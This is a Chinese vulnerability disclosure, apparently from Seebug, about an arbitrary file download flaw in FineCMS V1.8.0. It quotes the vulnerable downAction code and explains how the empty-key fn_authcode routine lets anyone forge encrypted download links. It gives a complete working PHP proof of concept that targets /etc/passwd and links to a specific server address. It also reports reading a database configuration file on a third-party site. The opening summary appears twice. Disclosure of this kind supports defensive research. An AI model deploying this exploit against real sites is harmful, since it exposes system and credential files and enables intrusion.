### 简要描述: 代码审计是个技术活,需要很好的耐心.. o(︶︿︶)o ### 详细说明: 出现问题的版本是FineCMS V1.8.0 最新版。 1.顺藤摸瓜 漏洞文件:controllers/ApiController.php downAction方法 ``` public function downAction() { $data= fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file= isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : ''; if (empty($file)) $this->msg(lang('a-mod-213')); if (strpos($file, ':/')) {//远程文件 header("Location: $file"); } else {//本地图片 if (!is_file($file)) $this->msg(lang('a-mod-214') . '(#' . $file . ')');; // $file = '../../../etc/passwd' header('Pragma: public'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10)))); header('Content-Disposition: attachment; filename="' . basename($file) . '"');...
### 简要描述: 代码审计是个技术活,需要很好的耐心.. o(︶︿︶)o ### 详细说明: 出现问题的版本是FineCMS V1.8.0 最新版。 1.顺藤摸瓜 漏洞文件:controllers/ApiController.php downAction方法 ``` public function downAction() { $data= fn_authcode(base64_decode($this->get('file')), 'DECODE'); $file= isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : ''; if (empty($file)) $this->msg(lang('a-mod-213')); if (strpos($file, ':/')) {//远程文件 header("Location: $file"); } else {//本地图片 if (!is_file($file)) $this->msg(lang('a-mod-214') . '(#' . $file . ')');; // $file = '../../../etc/passwd' header('Pragma: public'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10)))); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-length: ' . sprintf("%u", filesize($file))); readfile($file); exit; } } ``` 这段控制器函数主要是将前端提交过来的file文件路径进行解密并下载,如果文件是本地路径,则直接readfile下载下来。但是系统此时没有判断该文件的合法性,假设用户提交过来的文件解密后是: ``` $file = ../../../etc/passwd //passwd文件所在路径 ``` ,则会导致存在任意文件下载的风险。 实现方法: 注册一个会员,然后登陆进去。在“内容管理”--> "下载"中发布文档, [<img src="https://images.seebug.org/upload/201405/29173151f97e4ff523d9be2edf207550231793bd.jpg" alt="tu1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173151f97e4ff523d9be2edf207550231793bd.jpg) 下载地址前面填写passwd文件相对路径,后面随便填写。然后提交,等待管理审核通过。 审核通过后,直接点击下载链接, [<img src="https://images.seebug.org/upload/201405/29173633d776e68d23b3d6b36fdf5b8aa38b8c00.jpg" alt="tu2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173633d776e68d23b3d6b36fdf5b8aa38b8c00.jpg) 可以看见系统passwd文件成功被下载下来了。 [<img src="https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg" alt="tu3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg) [<img src="https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg" alt="tu4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg) 2.另辟蹊径 上面的任意下载文件有点曲折,非要注册后等待审核才能下载。其实通过测试发现,文件下载的的路径与数据库存储和用户cookie没有任何关系,因此我们完全可以构造任意文件的加密链接,就可以直接下载了。 文件下载地址: http://xxx.xxx.xxx.xxx/index.php?c=api&a=down&file=MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3 file变量进行了加密,跟进加密函数 extensions/function.php ``` function downfile($url) { return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE'))))); } ``` 这里将../../../etc/passwd 作为URL参数进行fn_authcode加密生成 ``` MWZlYi83YkxvZlJoUkdCS0xIVk9ZQ0pIZ1p3Zm5TZFR3dEJsK2pucm9wUjdqYXg0OTlXVjhYa1hrb2ZzYmdKa1Z2bmRwTnJ0NVZGdEQrTlBieXNaWWhJeXFUZ2dsRnprY0hCeGx3 ``` 但是fn_authcode里SITE_MEMBER_COOKIE变量是为空字符串的,MD5固定为: d41d8cd98f00b204e9800998ecf8427e ,并没有将用户的cookie信息作为加密因子,因此可以动态利用fn_authcode函数为我们想要的路径进行加密。 完成的POC: ``` <?php ini_set('display_errors','1'); error_reporting(E_ALL); function new_stripslashes($string) { if(!is_array($string)) return stripslashes($string); foreach($string as $key => $val) $string[$key] = new_stripslashes($val); return $string; } function array2string($data, $isformdata = 1) { if($data == '') return ''; if($isformdata) $data = new_stripslashes($data); return serialize($data); } /** * 将字符串转换为数组 * @paramstring$data字符串 * @returnarray返回数组格式,如果,data为空,则返回空数组 */ function string2array($data) { if ($data == '') return array(); if (is_array($data)) return $data; if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) { @eval("\$array = $data;"); return $array; } return unserialize($data); } function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $string= $operation == 'DECODE' ? $data : array2string($data); $key= md5($key ? $key : ''); $keya= md5(substr($key, 0, 16)); $keyb= md5(substr($key, 16, 16)); $keyc= $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey= $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string= $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length= strlen($string); $result = ''; $box= range(0, 255); $rndkey = array(); for($i= 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return string2array(substr($result, 26)); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); } } $result = str_replace('=', '', base64_encode(fn_authcode(array('finecms' => '../../../../etc/passwd'), 'ENCODE'))); echo "加密:".$result."<br/><hr>"; $data= fn_authcode(base64_decode($result), 'DECODE'); echo "解密:".print_r($data)."<br/><hr/>"; ?> <a href="http://10.121.50.249/index.php?c=api&a=down&file=<?php echo $result?>">下载地址</a> ``` 我们将该POC部署到另外一台服务器上运行POC,可以直接成功下载到finecms服务器上的passwd文件。 [<img src="https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg" alt="tu5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg) 但是poc在finecms演示站没有成功,实例测试其他一个站点: 数据库配置文件 [<img src="https://images.seebug.org/upload/201405/29182232c61c644a4b3cdcd7535d550ed598fe9d.jpg" alt=".jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29182232c61c644a4b3cdcd7535d550ed598fe9d.jpg) [<img src="https://images.seebug.org/upload/201405/29182342d49c3b32f47049cbf5eb0136bce239a5.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29182342d49c3b32f47049cbf5eb0136bce239a5.jpg) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg" alt="tu3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29173823cab9ef88f221900d93226ad2d750688e.jpg) [<img src="https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg" alt="tu4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/291740078e25424eabc0d466484fada193920bc5.jpg) [<img src="https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg" alt="tu5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/29181553a76a7ec8c2097e3777305695cad0fb53.jpg)